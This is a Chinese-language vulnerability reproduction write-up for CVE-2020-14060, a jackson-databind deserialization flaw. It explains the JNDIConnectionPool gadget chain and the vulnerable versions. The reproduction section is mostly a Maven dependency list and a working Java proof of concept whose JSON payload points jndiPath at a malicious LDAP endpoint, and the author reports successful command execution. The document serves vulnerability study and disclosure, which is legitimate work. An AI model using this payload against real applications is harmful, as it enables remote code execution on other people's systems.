(CVE-2020-14060)FasterXML jackson-databind 反序列化漏洞

一、漏洞简介

利用条件 开启enableDefaultTyping() 使用了org.apache.drill.exec:drill-jdbc-all第三方依赖

二、漏洞影响

jackson-databind before 2.9.10.4 jackson-databind before 2.8.11.6 jackson-databind before 2.7.9.7

三、复现过程

漏洞分析

首先定位到oadd.org.apache.xalan.lib.sql.JNDIConnectionPool类,之后发现一处可疑的JNDI注入: 1.png 参数为jndiPath,该参数在当前类中有对应的set操作,在反序列化时会调用setJndiPath进行一次赋值操作,故可控: 2.png 然而我们的findDatasource并不会被调用,之后全局搜索findDatasource函数,发现存在两处,一处是testConnect(),这对我们来说无用,另外一处是getConnection(),该函数在序列化时会被调用: 3.png 在反序列化操作时,我们可以将jndipath指向恶意LDAP服务,之后当序列化操作时getConnection会被调用,由此导致findDatasource被调用,最后导致JNDI注入,整个利用链如下所示:

mapper.readValue
    ->setJndiPath
        ->getConnection
             ->findDatasource
                 ->context.lookup(this.jndiPath);

漏洞复现

pom.xml

<dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.10.4</version>
    </dependency>

    <dependency>
      <groupId>org.apache.drill.exec</groupId>
      <artifactId>drill-jdbc-all</artifactId>
      <version>1.4.0</version>
    </dependency>

    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-nop</artifactId>
      <version>1.7.2</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
    <dependency>
      <groupId>javax.transaction</groupId>
      <artifactId>jta</artifactId>
      <version>1.1</version>
    </dependency>
  </dependencies>
  <!-- https://mvnrepository.com/artifact/org.aoju/bus-core -->

PS:这里的漏洞所使用的库包需要在1.4版本才可以,之后没有该漏洞类,而目前最新的已经是1.17.0了,所以总体来说较为鸡肋~

POC:

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "["oadd.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"ldap://127.0.0.1:1099/Exploit"}]";
        try {
            Object obj = mapper.readValue(payload, Object.class);
            mapper.writeValueAsString(obj);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

之后运行该程序,成功执行命令,弹出计算器:

4.png

参考链接

https://xz.aliyun.com/t/8012#toc-12